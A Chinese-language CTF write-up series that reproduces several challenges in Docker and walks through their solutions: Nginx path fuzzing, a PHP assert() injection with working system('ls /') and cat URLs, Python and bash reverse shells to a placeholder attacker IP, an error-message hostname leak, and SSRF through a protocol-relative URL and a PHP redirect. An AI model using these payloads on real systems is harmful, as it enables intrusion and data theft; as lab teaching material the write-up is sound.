CTF-imaginary

CTF-imaginary

这一系列ctf赛题都需要自己搭建来复现

Docker复现

Dockerfile

  • 打开终端,导航到 Dockerfile 所在的目录,然后执行以下命令构建镜像
1
docker build -t ctf-imaginary .

(ctf-imaginary是给镜像起的名字)

  • 运行容器
1
docker run -d -p 80:80 ctf-imaginary

docker-compose.yml

  • 打开终端,导航到 docker-compose.yml 所在的目录,然后执行以下命令启动服务:
1
docker-compose up d

这会根据 docker-compose.yml 文件中的配置启动所有定义的服务

readme

NginxURL解析规则

在Nginx的配置文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
server {
listen 80 default_server;
listen [::]:80;
root /app/public;

location / {
if (-f $request_filename) {
return 404;
}
proxy_pass http://localhost:8000;
}
}

其中

1
2
3
4
location / {
if (-f $request_filename) {
return 404;
}

if (-f $request_filename) { return 404; }:检查请求的文件是否存在。如果请求的文件存在(-f表示文件存在),则返回404状态码。

这意味着如果请求是针对存在的文件,则返回404错误,也就是说不能直接访问flag.txt

  • 这边利用Nginx的URL解析规则来绕过限制并访问静态文件

image-20240730161113374

  • Clusterbomb集束炸弹

  • 用url编码的字典fuzz来爆破

image-20240730161146447

  • 先尝试一个点爆破,不行就再加一个$

image-20240731114256503

  • 然后让它一直爆破 爆破失败的状态码都是400
  • 然后在%2f%2e的时候成功200

image-20240731114451803

  • 这样子就能利用Nginx的URL解析规则来访问静态文件flag.txt

image-20240731114537298

Dockerfile

奇葩的做法,Dockerfile里就有flag,出题者的失误

journal

搭建

附件只有dockerfile,这一题用clash代理开终端试试

image-20240730170710315

  • 任意选择一个打开终端

image-20240730170725528

  • 导航到dockerfile所在的目录

image-20240730170657512

因为是复现赛题,附件里没有flag.txt,所以首先要在challenge目录下手动创建一个flag.txt

image-20240730170919292

  • 然后构建镜像
1
docker build -t journal .

ps:别忘了点点,命令末尾的点表示当前目录

image-20240730171115175

  • 然后运行容器
1
docker run -d -p 6180:80 journal

image-20240730171220393

  • 检验容器运行
1
docker ps

image-20240730171336183

在Docker Desktop中也可以查看正在运行的容器

image-20240730171349643

题解 aeert()函数rce

先来看源代码找突破口

注意到有assert函数,可以利用一下,用来远程代码执行(rce)

关于代码执行的危险函数:

image-20240730172651066

解读:

1
assert("strpos('$file', '..') === false") or die("Invalid file!");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
strpos('$file', '..')

strpos 是一个 PHP 函数,用于查找子字符串在字符串中的位置。
这里,它查找 .. 是否出现在 $file 字符串中。
如果 .. 出现在 $file 中,strpos 会返回 .. 的位置(非布尔值)。如果未找到,strpos 返回 false
---------------------------------------
strpos('$file', '..') === false
这是一个条件判断,检查 strpos 函数的返回值是否严格等于 false
如果 $file 中不包含 ..,strpos 会返回 false,条件为 true
如果 $file 中包含 ..,strpos 会返回一个位置(不是 false),条件为 false
assert("strpos('$file', '..') === false")
---------------------------------------
or die("Invalid file!")
or 是一种逻辑运算符,用于连接 assert 的结果和 die
如果 assert 失败(即表达式评估结果为 false),则 die 会被执行。
die("Invalid file!") 会停止脚本的执行并输出 "Invalid file!" 错误消息。

assert 函数会评估其参数中的布尔表达式。
在这里,它会评估 strpos('$file', '..') === false
如果结果为 true(即 $file 中不包含 ..),assert 不做任何事。
如果结果为 false(即 $file 中包含 ..),则 assert 触发失败。

关于assert函数的详细解读可以参考php手册https://www.php.net/manual/en/function.assert.php

1
2
检查一个断言是否为false
assert()会检查指定的assertion并在结果为false时采取适当的行动。在PHP5或PHP7中,如果assertion是字符串,它将会被assert()当做PHP代码来执行。

那么怎么利用assert()呢,这边我们可以在Docker里做个Debug

  • 找到index.php文件(要学会看Dockerfile源码)

image-20240731120234509

  • 我们可以添加一个变量a,来记录assert里面的内容,并打印出来 方便查看

image-20240731120445622

保存后回到我们的网页,可以看到多出来一行是我们echo的内容

image-20240731152412726

注意到我们提交的file位置在这儿,后面又有’

image-20240731152533425

那么如果我们可以构造引号闭合,后面拼接上php代码 再把最后面原先的引号部分用//注释掉,是不是就可以实现RCE了呢?

image-20240731152717655

闭合一下:

image-20240731153028604

image-20240731153245611

像这样子设置file,欸奇怪怎么还是报错呢

噢用来是没有加;,这是非常重要的小细节

正确的闭合 注释方法:

image-20240731153434382

这样子就不会报错了,说明闭合成功,构造一下php代码:

由于assert函数内其实还是条件运算,所以用&&来拼接

重点:&&

因为&&会被当作是特殊字符,所以不会被URL编码,换句话说它会被当成类似注释符一样的东西,因此需要我们手动给它URL编码一下,才会被作为字符串来连接语句

纠正:准确的来说,&作为拼接字符串的一个字符,&后的部分可能会被视为参数,因此不宜直接拼接,应该url编码一下

image-20240731153855098

编码一下

image-20240731153944530

就能执行phpinfo函数了,那么其他php代码自然也能执行

image-20240731154001537

例如:

1
http://localhost:6180/?file=file1.txt', '..') === false %26%26 system('ls /');//

image-20240731154208770

发现被重命名后的flag.txt(源码中有对flag.txt进行重命名)

  • 读取:
1
http://localhost:6180/?file=file1.txt', '..') === false %26%26 system('cat /flag-iarAQZEJvlGa6Te5Lfe7.txt');//

image-20240731154330174

  • 成功拿到flag

p2c_release

搭建

搭建环境

  • 先来搭建一下环境
1
docker build -t p2c

image-20240731220648127

  • 运行一下
1
docker run -d -p 6180:80 p2c

image-20240731220843304

搭建成功

image-20240731220943941

ps:由于是本地复现,所以需要我们提前在根目录下准备好flag.txt文件噢

写入flag.txt

写入flag.txt的方法有很多,这边简单提两种

法1

创建镜像前直接在文件夹下创建一个flag.txt

法2

在Docker Desktop的Exec中用命令来创建flag.txt

  • 使用 echo 命令
1
echo flag{MooSe_test_flag} > flag.txt

(如果 flag.txt 文件不存在,它会被创建。如果文件已存在,内容将被覆盖。)

注:如果是想将flag追加到现有的 flag.txt 文件中的话,可以使用 >> 符号:

1
echo flag{MooSe_test_flag} >> flag.txt

题解·反弹Shell

首先分析后端源码吧

  • 锁定关键代码

image-20240802102135306

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])

file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

os.system(f"chmod 755 {file}")

try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
output = None

os.remove(file)

return output

这段xef()函数的作用是什么呢 简单地说就是

  • 将表单输入的python代码插入到main函数
  • 以哈希md5命名创建一个临时文件 并运行刚刚的代码
  • 最后再删除文件

具体是怎么样子的呢,我们可以来本地测试一下:

【为了便于调试,先把remove代码注释掉】

  • 任意输入一段代码

  • 然后在Docker Desktop里找找看,可以验证表单传入的代码是否被拼接到main函数中

既然这样,传入的代码就可以执行,意味着可以rce

但问题是这道题没有可以回显的函数

我们学习一下反弹Shell的使用:反弹shell汇总,看我一篇就够了-CSDN博客

在这一题中,由于我们是本地用docker复现的环境,所以被操控的就是我们自己的主机ip,用云服务器来作为攻击机来监听并实现“操控、回显”

Python实现反弹shell:(脚本可用hacktool生成)

  • 先再我们的服务器上开启监听:
1
nc -lvnp 9895

(记得提前打开端口号)

image-20240802210827724

  • 然后在受害者(我们自己的主机)上运行命令:
    • 也就是在表单中执行python代码

命令一

1
2
3
4
5
import os,pty,socket;
s=socket.socket();
s.connect(("xxx.xxx.xxx.xxx",xxxx));
[os.dup2(s.fileno(),f)for f in(0,1,2)];
pty.spawn("sh")

image-20240802211143724

  • 监听成功!

image-20240802211105759

命令二

或者我们本机上也可以用以下命令:

1
2
3
import os
cmd = "bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1'"
process = os.popen(cmd)

image-20240802211425714

  • 成功监听!

在我们的服务器(攻击机)上成功监听到主机(受害机)之后,我们就可以rce并且得到回显了,如下:

  • 列出当前目录的文件 ls

image-20240802211910122

  • 读取flag.txt
1
cat flag.txt

image-20240802212026613

所遇问题

  • 云服务器防火墙没有关闭导致监听一直没有反应
    • 只能说我耗了三个小时的问题直接被Wells三分钟解决
  • 反弹Shellpython命令不知道怎么构造
    • 虽然GPT也能写,但后期还是要自己会写
    • 先看懂 再会用 后学写

反思

由于从代码中我们已经知道表单处的python代码是可以被执行的,只是没有回显,自然而然想到反弹shell的使用,那么下面就是反弹shell的操作部分了,由于之前对反弹shell只停留在理论层面,所以真正使用起来还是踉踉跄跄

总而言之

这道题最大的问题就是:

  • 分析代码 看懂函数 从而发现表单内的python代码可执行
  • 然后就是 因为没有回显,想到要用反弹shell
  • 最后就是要会操作反弹shell

crystals_release

搭建

  • 先来搭建一下环境
1
docker build -t crystals .

image-20240803180921030

  • 运行一下
1
docker run -d -p 6274:80 crystals

image-20240803180939095

搭建成功

image-20240803180941849

  • 写入flag

由于是复现,所以要手动写入flag

这题的flag是主机名,老实说刚开始折腾了半天 都不知道怎么把主机名编辑成flag

狗屁通:需要使用环境变量文件 (.env)

创建一个 .env 文件,并在其中定义 FLAG 变量:

1
FLAG=flag{MooSe_text_flag}

确保 .env 文件与 docker-compose.yml 文件在同一目录中。

image-20240804143309944

改了很久都不行,才发现自己一直用的是docekrfile起环境,被自己蠢到了

docker-compose起环境:

1
docker-compose up -d

image-20240804150121399

题解

image-20240804140446531

查看附件源码, 这道题用的是Web 应用程序框架Sinatra

  • 发现在docker_compose.yml中有关于flag的代码

image-20240804133945702

1
2
3
4
5
6
7
version: '3.3'
services:
deployment:
hostname: $FLAG
build: .
ports:
- 10001:80
  • 说明主机名就是flag

那么问题就转化成如何拿到主机名hostname,由“经验”,Web 应用程序可能会通过错误消息暴露信息

也就是说,我们可以发送一个格式错误的请求来触发错误,然后服务器可能会用一个非常冗长的错误消息来回应我们,这个错误信息里可能会含有我们需要的hostname

image-20240804140036151

这里还有一个细节就是:此 Web 应用程序中的唯一路由是 /,可以作为切入点来构造格式错误的请求

  • bp抓包一下,准备发送格式错误的请求

image-20240804135254766

  • 这边由“经验”,给/后加一个<,因为格式错误 肯定会报错
  • 或者在没有类似经验的情况下,保险做法可以用点fuzz来测试

image-20240804135354016

image-20240804150320262

  • 成功拿到flag

image-20240804150325460

难题

  1. ⭐ 从docker_compose.yml源码中发现flag是隐藏在主机名
  2. ⭐⭐⭐ 由“经验”猜想:Web 应用程序可能会通过报错暴露信息(flag)
  3. ⭐⭐ 从app.rb中得知/是该Sinatra框架的唯一路由,联想到在/处构造错误请求来报错

反思

这道题思路其实就跟上面总结的难点一样,有想法就很自然 没经验就白搭😥

不过其实复现题目的时候,时间花的最多的地方 还是写入flag

  • 如何把主机名设置成flag,也是学到了

readme2

搭建

打开附件,只有一个app.js和Dockefile,那就创建镜像起环境吧

image-20240805094826725

image-20240805094843648

这道题的dockerfile里没有port,所以不能直接由镜像创建容器!

image-20240805145614744

要用命令行设置端口号

1
docker run -d -p 4000:4000 readme2

image-20240805145654716

  • 成功搭建

image-20240805145716288

题解

先来看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const flag = process.env.FLAG || 'ictf{this_is_a_fake_flag}'

Bun.serve({
async fetch(req) {
const url = new URL(req.url)
if (url.pathname === '/') return new Response('Hello, World!')
if (url.pathname.startsWith('/flag.txt')) return new Response(flag)
return new Response(`404 Not Found: ${url.pathname}`, { status: 404 })
},
port: 3000
})
Bun.serve({
async fetch(req) {
if (req.url.includes('flag')) return new Response('Nope', { status: 403 })
const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag'))
if (headerContainsFlag) return new Response('Nope', { status: 403 })
const url = new URL(req.url)
console.log("2:")
console.log(url)
if (url.href.includes('flag')) return new Response('Nope', { status: 403 })
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})
},
port: 4000 // only this port are exposed to the public
})

简单地说, 这个应用程序用Bun框架为 2 个 HTTP 服务器提供服务,其中

  • 端口 3000 是内部的,无法直接访问
  • 端口 4000 是外部的,可以访问

再细看源码 3000端口的服务器:

  • 若请求的路径名以/开头,返回’Hello, World!’
  • 若请求的路径名以/flag.txt开头,则返回flag

但是我们只能访问外网的4000端口,并且4000端口对访问flag有很多限制:

  1. 如果请求的URL包含flag字符串,则直接返回403 Forbidden响应(Nope)。
  2. 如果请求头(headers)中的任何键或值包含flag字符串,也返回403 Forbidden响应。
  3. 如果请求的完整URL(href)包含flag字符串,同样返回403 Forbidden响应。

image-20240805141517368

  • 如果上述条件都不满足,它将请求转发到第一个服务器(运行在http://localhost:3000/),并保留原始请求的方法、头部和体(如果有的话)。

因此,我们需要绕过外部服务器的层层检查把请求发送到内部端口来拿到flag


Request: 请求:

1
GET // HTTP/1.1

Respond: 响应:

1
HTTP/1.1 500 Internal Server Error

可以看到路径//会导致错误

  • 我们来添加docker日志,再来查看一下

    • 只要在app.js中加入:

      1
      2
      console.log("2:")
      console.log(url)

      image-20240805150800566

从日志中我们可以看到错误信息:

ds

意思是URL存在解析错误

再尝试往//中加入其他字符:

1
GET //foobar HTTP/1.1

image-20240805151208517

1
2
3
ConnectionRefused: Unable to connect. Is the computer able to access the url?
path: "http://foobar/"
GET - http://localhost:4000//foobar failed
  • 这里我们注意到:foobar被当作是URL:http://foobar/
    • 多了http协议
    • 而且发送了请求

可以阅读一下**有关 API URL 的 mdn Web 文档**

1
2
new URL("//foo.com", "https://example.com");
// => 'https://foo.com/' (see relative URLs)

什么意思呢?也就是说 例如我们在url中输入//baidu.com,它会被当作是相对URl,进而进行访问


那么我们就可以利用302跳转,写入一个重定向的服务来跳转到http://localhost:3000/flag.txt

  • 再起一个docker服务用来重定向

下面我们的思路是:用 Docker Desktop 创建一个新的空白容器B 并在其中编写 PHP 代码进行重定向,那具体怎么做??拷打狗屁通即可🤪

具体步骤可以参考:

  • 先创建一个文件夹,创建一个名为dockerfile的文件,写入:
1
2
3
4
5
# 使用官方PHP镜像作为基础镜像
FROM php:apache

# 将当前目录中的文件复制到容器的工作目录
COPY . /var/www/html/
  • 创建 PHP 重定向代码: 在同一文件夹中创建一个 index.php 文件,并写入以下代码:
1
2
3
4
5
<?php
// 重定向到另一个页面
header("Location: http://localhost:3000/flag.txt");//不要用https!!可恶的狗屁通
exit();
?>
  • 构建 Docker 镜像:终端导航到文件夹下
1
docker build -t redirect-php .
  • 创建容器B,这边我设置访问端口1864

  • 然后我们在url拼接上B容器的ip,划重点:必须是ip!!!,不能用localhost!!!

    image-20240806152951083

    • 或者用bp抓包也是一样的

image-20240806153228642

  • 然后我们发现显示的是/10.194.2.248:1864?是不是有点怪?按理说http后面是两条/才对,于是联想到再手动加条/
    • 或者这里没有想到的话 我们回到容器A的日志里检查拼接过去的地址(即容器B)是否被当作是url请求
  • 加上/后成功访问到容器A的3000端口的flag.txt

image-20240806154122493


补充:关于本机IPv4ip

终端输入

1
ipconfig

image-20240806161522520

反思

image-20240806153630832


image-20240805233803641

image-20240805234120935

  • 先用localhost:4000访问到A容器,也就是赛题的环境
  • 再通过url拼接来访问B容器 由于此时的localhost是相对容器A而言的,所以应该用ip来访问B容器,即10.194.2.248:1864
  • 我们要读取的flag位于A容器的3000端口,同理,此时的localhost就是在A容器下的 要访问到A容器的内网3000端口 于是构造php代码重定向到localhost:3000/flag.txt

如果是正式比赛时,则应该用云服务器的域名来拼接url,而php代码中的重定向直接执行题目ip的3000端口,反而比较简单

pwning_en_logique

Pwning en Logique | siunam’s Website (siunam321.github.io)